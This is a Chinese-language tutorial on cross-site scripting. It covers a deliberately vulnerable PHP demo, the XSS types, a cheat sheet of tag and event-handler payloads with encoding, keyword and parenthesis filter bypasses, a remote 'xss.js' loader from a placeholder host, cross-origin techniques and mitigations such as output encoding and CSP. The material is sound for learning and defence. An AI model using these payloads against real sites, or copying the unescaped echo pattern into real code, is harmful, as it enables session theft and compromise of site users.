简介

演示

​ 反射型 XSS :

​ xss.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head></head>

<body>
<p>Tell me who you are, and I will welcome you!</p>
<form action="./test.php" method="GET">
Your name: <input type="text" name="user"/>
<button type="submit">send</button>
</form>
</body>
</html>

​ test.php

1
2
3
4
<?php
$user = $_GET['user'];
echo "<p>Hello, $user</p>";
?>

​ 原本这只是一个简单的欢迎:

​ 但如果输入的是恶意代码,如 <script>alert("Hacker!");</script> ,那就成 XSS 了:

漏洞成因

​ 网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的数据中存在可被浏览器执行的代码。

分类

反射型

​ 又称非持久型 XSS ,这种攻击方式往往具有一次性,只在用户单击时触发。例如当用户提交一个表单时,跨站代码随同请求包发送到服务端,然后服务端反射回来,之后被浏览器解析跨站代码触发 XSS 漏洞。

​ 这类跨站的代码通常不存储在服务端。受 XSS Auditor(Chrome内置的XSS保护)、NoScript 等防御手段的影响,反射型 XSS 的危害相对较小。

存储型

​ 又称持久型 XSS ,比反射型 XSS 更具有威胁性,攻击脚本被永久存放在服务器的数据库或文件中。

​ 攻击方式:攻击者在发帖或留言等过程中,将恶意脚本连同正常信息一起写入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在用户的浏览器中执行。

DOM型

​ 基于 JS 的一种 XSS ,不需要与服务器进行交互,其通过修改页面 DOM 节点数据信息而形成 XSS 攻击。

​ 攻击方式:用户请求一个由攻击者提供的 URL ,其中包含恶意代码,当用户的浏览器处理这个响应时,原始页面的 DOM 将会被修改,从而触发 XSS 漏洞。

通用型

​ 也叫做 UXSS ,是一种利用浏览器或者浏览器扩展程序的漏洞来制造产生 XSS 的一种攻击类型。

利用

<script>

  1. <script src="http://xxx/xss.js"></script>
  2. <script>xss code</script>

<img>

  1. <img src="x" onerror="alert(1)"/>
  2. <img src="1" onerror="eval(alert('xss'))"/>
  3. <img src="1" onmouseover="alert('xss')"/>
  4. <img src="javascript:alert('xss')"> ,IE7 以下。
  5. <img src="" style="xss:expression(alert('xss'))"/> ,IE7 以下。

<a>

  1. <a href="javascript:alert('xss')">aa</a>
  2. <a href="javascript:eval(alert('xss'))">aa</a>
  3. <a href="" onmouseover="alert('xss')">aa</a>
  4. <a href="" onclick="eval(alert('xss'))">aa</a>

<input>

  1. <input value="" onclick="alert('xss')" type="text"/>
  2. onmouseover

<form>

  1. <form action="javascript:alert('xss')" method="get">
  2. <form action="" method="GET" onmouseover="javascript:alert('xss')">
  3. onclick

<iframe>

  1. <iframe src="javascript:alert('xss')" height="5" width="1000"></iframe>
  2. <iframe src="aaa" onmouseover="alert('xss')"></iframe>
  3. <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe><script>alert('xss')</script>

<svg>

<svg onload="alert(1)"></svg>

<details>

  1. <details ontoggle="alert('xss')"></details>
  2. <details open ontoggle="alert('xss')"></details> ,自动触发。

<select>

<select onfocus="alert(1)"></select>

<video>

<video><source onerror="alert(1)"/></video>

<audio>

<audio src="x" onerror="alert('xss')"></audio>

<textarea>

  1. <textarea onfocus="alert('xss')"></textarea>
  2. <textarea onfocus="alert('xss')" autofocus></textarea> ,自动触发。

<link>

<link rel=import href="http://xxx/xss.js"> ,但需要在无 CSP 的情况下才可以。

内容安全策略 (CSP) 是一种安全机制,有助于保护 Web 应用程序免受各种类型的攻击,例如跨站点脚本 (XSS) 和数据注入。 它是一个 HTTP 响应标头,指示浏览器允许在网页上加载和执行哪些内容源。

CSP 的主要目的是减轻与执行恶意脚本或从外部域加载未经授权的资源相关的风险。 通过定义 Content-Security-Policy 标头,网站管理员可以定义一组指令,通知浏览器允许加载的内容类型。

绕过

编码绕过

  1. HTML 实体编码:<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"/> 。实际上是每个字符的 ASCII 码用 &# 和 ; 包围而已,即用 HTML 实体的形式表示字符串。
  2. Unicode 编码:<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"/>
  3. URL 编码:<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"/>
  4. ASCII 编码:<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"/>
  5. HEX 编码:<img src="x" onerror="eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')"/>
  6. 八进制:<img src="x" onerror="alert('\170\163\163')"/>
  7. base64:<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"/>

过滤空格

  1. / 代替空格,如 <img/src="x"/onerror="alert('xss')"/>
  2. 编码代替。

过滤关键字

  1. 大小写绕过。

  2. 字符拼接绕过:

    1
    2
    3
    4
    //eval
    <img src="x" onerror="a=`aler`;b=`t`;c=`('xss')`;eval(a+b+c)"/>
    //top
    <script>top["al"+"ert"](`xss`);</script>
  3. 编码代替。

过滤引号

  1. HTML 可不需要引号,JavaScript 可用反引号 ` 代替。
  2. 编码代替。

过滤括号

  1. throw 代替:<img src="x" onerror="window.onerror=eval;throw'=alert\x281\x29'"/>
  2. 编码代替。

其他

  1. Windows 下 HTML 标签中用 // 可以代替 http://<img src="x" onerror="document.location='//www.baidu.com'"/> ,Linux 下为 \\
  2. 域名中的中文句号浏览器会自动转化成英文句号:<img src="x" onerror="document.location='http://www。baidu。com'"/>

跨域

同源策略

​ 同源策略是指在 Web 浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的协议 、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。

​ 同源策略对 Web 应用程序具有特殊意义,因为 Web 应用程序广泛依赖 HTTP cookie 来维持用户会话,所以必须将不相关网站严格分隔,以防止丢失数据泄露。

​ 值得注意的是同源策略仅适用于脚本,这意味着某网站可以通过相应的 HTML 标签访问不同来源网站上的图像、CSS 和动态加载脚本等资源。

​ 同源策略对于网站安全是很重要的。如果没有同源限制,下述示例的攻击将是十分危险的:

跨域方法

src

​ 所有具有 src 属性的 HTML 标签都是可以跨域的,加载的方式其实相当于一次普通的 GET 请求,唯一不同的是,为了安全起见,浏览器不允许这种方式下对加载到的资源的读写操作,而只能使用标签本身应当具备的能力,比如脚本执行、样式应用等。

JSONP

​ JSONP 是 JSON with Padding 的略称,它是一个非官方的协议。由于 JavaScript 跨域脚本可以回调当前脚本的函数,所以该协议的一个要点就是允许用户传递一个 callback 参数给服务端,然后服务端返回数据时会将这个 callback 参数作为函数名来包裹住 JSON 数据,使得客户端调用该函数,这样客户端就可以通过随意定制该函数来自动处理返回数据了。

​ <script> 标签只能发起 GET 请求。

​ test.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function dosomething(jsondata){
//处理服务端返回的JSON数据
window.alert(jsondata);
}
</script>
<script src="http://127.0.0.1/test.php?callback=dosomething"></script>
</head>
<body></body>
</html>

​ test.php:

1
2
3
4
5
<?php
$callback = $_GET['callback'];//得到回调函数名
$data = array('a','b','c');//要返回的数据
echo $callback.'('.json_encode($data).')';//输出
?>

​ 访问 127.0.0.1/test.html

​ 原理:前端 script 中的 src 请求完毕以后,后端会给前端返回一个字符串 dosomething([‘a’,’b’,’c’]) ,因为 script 标签的原因,浏览器会把这一段字符串当做 js 来执行。

CORS

​ CORS 是 HTML5 标准提出的跨域资源共享(Cross Origin Resource Share),支持 GET、POST 等所有 HTTP 请求。CORS 需要服务器端设置 Access-Control-Allow-Origin 响应头,否则浏览器会因为安全策略拦截返回的信息。

1
2
Access-Control-Allow-Origin: *              # 允许所有域名访问
Access-Control-Allow-Origin: http://a.com # 只允许a.com域名访问

  CORS 又分为简单跨域请求和非简单跨域请求,有关 CORS 的详细介绍参考:跨域资源共享 CORS 详解

document.domain

通过document.domain + iframe解决跨域问题

window.name

​ JavaScript window 对象有个 name 属性,该属性有个特征,即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个 window.name 的,每个页面对 window.name 都有读写的权限,window.name 是持久存在于一个窗口载入过的所有页面中的。

window.name解决跨域的原理

window.postMesage

​ 通过 postMessage 来传递信息,对方可以通过监听 message 事件来监听信息。

​ 这里有两个页面:

  1. agent.com/index.html
  2. server.com/remote.html

​ index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>  
<iframe id="proxy" src="http://server.com/remote.html" onload = "postMsg()" style="display: none" ></iframe>
<script type="text/javascript">
var obj = {
msg: 'hello world'
}
function postMsg (){
var iframe = document.getElementById('proxy');
var win = iframe.contentWindow;
win.postMessage(obj, 'http://server.com');
}
</script>
</body>

​ postMessage 的使用方法: otherWindow.postMessage(message, targetOrigin);

  • otherWindow:其他窗口引用,是 window.frames 属性的成员或者由 window.open 方法创建的窗口。
  • message:要发送的消息,类型为 String、Object 。
  • targetOrigin:限定消息接收范围,不限制请使用 * 。

​ remote.html:

1
2
3
4
5
6
7
8
<head>
<title></title>
<script type="text/javascript">
window.onmessage = function(e){
alert(e.data.msg+" from "+e.origin);
}
</script>
</head>

location.hash

​ 利用 location.hash 来进行传值。www.a.com下的 a.html 想和 www.b.com下的 b.html 通信(在 a.html 中动态创建一个 b.html 的 iframe 来发送请求),但是由于同源策略的限制它们无法进行交流(b.html 无法返回数据),于是就找个中间人:www.a.com下的 c.html 。b.html 将数据传给 c.html(b.html 中创建 c.html 的 iframe),由于 c.html 和 a.html 同源,于是可通过 c.html 将返回的数据传回给 a.html ,从而达到跨域的效果。

location.hash + iframe跨域

修复

  1. 输入过滤:
    • 输入是否包含非法的字符。
    • 输入字符串是否超过最大长度的限制。
    • 输入如果为数字,数字是否在指定的范围内。
    • 输入是否符合特定的格式要求,如邮箱、电话号码、ip地址等。
    • ……
  2. 根据输入内容要插入到的位置进行相应编码。如果是放在 HTML 里,则进行 HTML 实体编码;如果是放在 JavaScript 里,则进行 JavaScript 编码……总之,要进行编码。
  3. HttpOnly Cookie:当 Cookie 被设置为 HttpOnly 时,支持 Cookie 的浏览器将阻止客户端 JavaScript 直接访问浏览器中的 Cookie 。
  4. Noscript:Noscript 是一款免费的开源插件,该插件默认禁止所有脚本,但可以自定义允许通过的脚本。
  5. 使用内容安全策略 CSP 。